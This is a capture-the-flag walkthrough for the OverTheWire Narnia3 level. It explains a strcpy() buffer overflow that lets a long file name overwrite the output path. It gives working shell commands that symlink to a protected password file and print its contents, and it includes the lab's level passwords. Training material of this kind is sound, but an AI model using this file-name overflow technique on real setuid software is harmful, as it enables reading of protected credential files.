Narnia Level 3

This is a solution guide to the Narnia3 Level at overthewire. This write-up was created on 12 October 2015.

Challenge Description: Narnia3 requires the attacker to take advantage of a strcpy() vulnerability which does not have any bounds checking. Since the strcpy() is executed blindly it creates a situation where the user can overwrite the buffer affecting all the variables in main.

First connect to the lab

  • ssh narnia3@narnia.labs.overthewire.org
  • Enter the following as the password vaequeezee

Change directories to the narnia games folder: cd /narnia. Next, let’s examine how we get the password for the next level: less narnia3.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
int main(int argc, char **argv){
 
 int  ifd,  ofd;
 char ofile[16] = "/dev/null";
 char ifile[32];
 char buf[32];
 
 if(argc != 2){
  printf("usage, %s file, will send contents of file 2 /dev/null\n",argv[0]);
  exit(-1);
 }
 
/* open files */
 strcpy(ifile, argv[1]);
 if((ofd = open(ofile,O_RDWR)) < 0 ){
  printf("error opening %s\n", ofile);
  exit(-1);
 }
 if((ifd = open(ifile, O_RDONLY)) < 0 ){
  printf("error opening %s\n", ifile);
  exit(-1);
 }
 
/* copy from file1 to file2 */
 read(ifd, buf, sizeof(buf)-1);
 write(ofd,buf, sizeof(buf)-1);
 printf("copied contents of %s to a safer place... (%s)\n",ifile,ofile);
 
/* close 'em */
 close(ifd);
 close(ofd);
 
 exit(1);
}

This is an interesting problem because the program accepts a command line argument and then does a strcpy() of argv[1] on line 14. When we check the man pages for strcpy() we find, “The strcpy() function copies the string pointed to by src, including the terminating null byte (‘\0’), to the buffer pointed to by dest.” We also find at the end of the man page a specific bug (shortcut is shift+gg):

BUGS
 If the destination string of a strcpy() is not large enough, then  any-
 thing  might  happen.   Overflowing  fixed-length  string  buffers is a
 favorite cracker technique for taking complete control of the  machine.
 Any  time  a  program  reads  or copies data into a buffer, the program
 first needs to check that there's enough space.  This may  be  unneces-
 sary  if you can show that overflow is impossible, but be careful: pro-
 grams can get changed over time, in ways that may make  the  impossible
 possible.

Great so now we know we have another buffer overflow, and you can find more information about buffer overflows at exploit-db. So knowing this information we now know that strcpy() will take everything it finds in argv[1] until it reaches a null character, but the buffer for ifile is only 32 bytes. If our argv[1] were longer than 32 bytes it would overflow into something, but now the question is:

  • What is the something that argv[1] overuns?
  • Can we take advantage of the buffer overrun and make it do something unintended?

First, lets make some files. Since we know that the buffer needs to be overrun by 32 bytes we need to name a file something that is larger than 32 bytes. After the file is created we can test our theory with:

1
2
3
4
python -c 'print(len("/tmp/" + "a"*27))' #verify our temp folder is long enough
mkdir -p $(python -c 'print ("/tmp/" + "a"*27 + "/tmp")') #create the directory
cd $(python -c 'print ("/tmp/" + "a"*27 + "/tmp")') #change to the directory
/narnia/narnia3 `pwd`/abc #test theory

Test Theory

This creates a directory in the tmp folder 1 called aaaaaaaaaaaaaaaaaaaaaaaaaaa. The screenshot tells us that we are either overunning the ifile or the ofile, because it notified us of an error that it couldn’t open “/abc”, but did not provide us the entire directory we tried to open. Let’s examine which we are overrunning with objdump -d -M intel /narnia/narnia3

First, I’m going to build a visual image of what the stack looks like.2 Our variables are declared in this order ifd, ofd, ofile[16], ifile[32], and buf[32]. Beginning at 0x8048523 the stack expands by 112 bytes. Which means the bytes are reserved as follows: bottom 4 bytes3 are ifd, followed by 4 bytes ofd, 16 bytes for ofile, 32 bytes for ifile, and 32 bytes for buff. This is a total of 88 bytes - the remainder of the bytes are used for local variables.

Stack Register Info Notes
int ifd esp+108 4-byte integer in file descriptor
int ofd esp+104 4-byte integer out file descriptor
0
l
/nul
/dev
esp+100
esp+96
esp+92
esp+88
This is where ofile[16] is located. We can determine this because ofile is 16 bytes and is statically assigned /dev/null in line 4 of the source code.
char ifile[32] esp+84
...
esp+56
ifile is located here and encompasses 32 bytes, ending at esp+84.
char buff[32] esp+52
...
esp+24
buff[32] is located here and encompasses 32 bytes, ending at esp+52.
local variables esp+20
...
esp+0
There is space reserved for several local variables. These local variables established for passing arguments to C standard library functions such as read, open, and strcpy.

Confirm the view of the stack by observing it at a designated breakpoint - 0x80485464. It doesn’t look like text, but that is because we are viewing all hexidecimal values. We can type a simple command in order to see the known string in the stack as shown: x/s $esp+88

gdb stack view at breakpoint

Beginning at 0x8048526 the character string /dev/null for ofile is placed onto the top of the stack at esp+58. The next interesting point is around 0x8048579 where a strcpy operation takes arg[1] and copies it into ifile. If we reference our stack table now we can see what is happened to our input earlier, because the “abc” overflowed into the ofile!

objdump screenshot with intel syntax

Now it’s time to craft our input to take advantage of this vulnerability. The general idea is that we are going to use two file names with the same name to pass as arguments to ifile and ofile. We will take advantage of the write function which was previously writing to /dev/null and make it write something else instead. Which if we create a symbollically linked file as our input we can read the key.

1
2
3
4
5
6
7
8
python -c 'print(len("/tmp/" + "a"*27))' #verify our temp folder is long enough
mkdir -p $(python -c 'print ("/tmp/" + "a"*27 + "/tmp")') #create the directory
cd $(python -c 'print ("/tmp/" + "a"*27 + "/tmp")') #change to the directory
ln -s /etc/narnia_pass/narnia4 abc #create the symbollically linked file
touch /tmp/abc #create our temp file for the key
chmod 777 /tmp/abc #where the key will be written
/narnia/narnia3 `pwd`/abc #test our solution
cat /tmp/abc #read key

BINGO! level 4 password is thaenohtai


Footnotes:

  1. I use the tmp folder because that is the one of the few globally write/read folders in the linux system from which I don’t need a specific user’s access privileages to use. This allows me to create folders inside /tmp which will be owned by myself and then still be able to read other folders or files inside the tmp directory, provided I know the file or directory name.

  2. The numbers I reference are different than what is in the screenshot because I am using decimal instead of hexadecimal number references. It is only a matter of preference and is easier for me to read.

  3. How do I know it’s 4 bytes for the variable? Well an integer value has a maximum value of 4,294,967,296. Which factors into a value of 2^32, and last 32 bits / 8, because 8 bits are in a byte, = 4 bytes.

  4. First you have to make sure you have a readable file, next you need to open the file using gdb: gdb ./narnia3 test. Next set a breakpoint: b *0x8048546 and then type run. Last, examine the stack with the following command: x /40xw $esp. If you need to learn more about gdb check out this cheat sheet.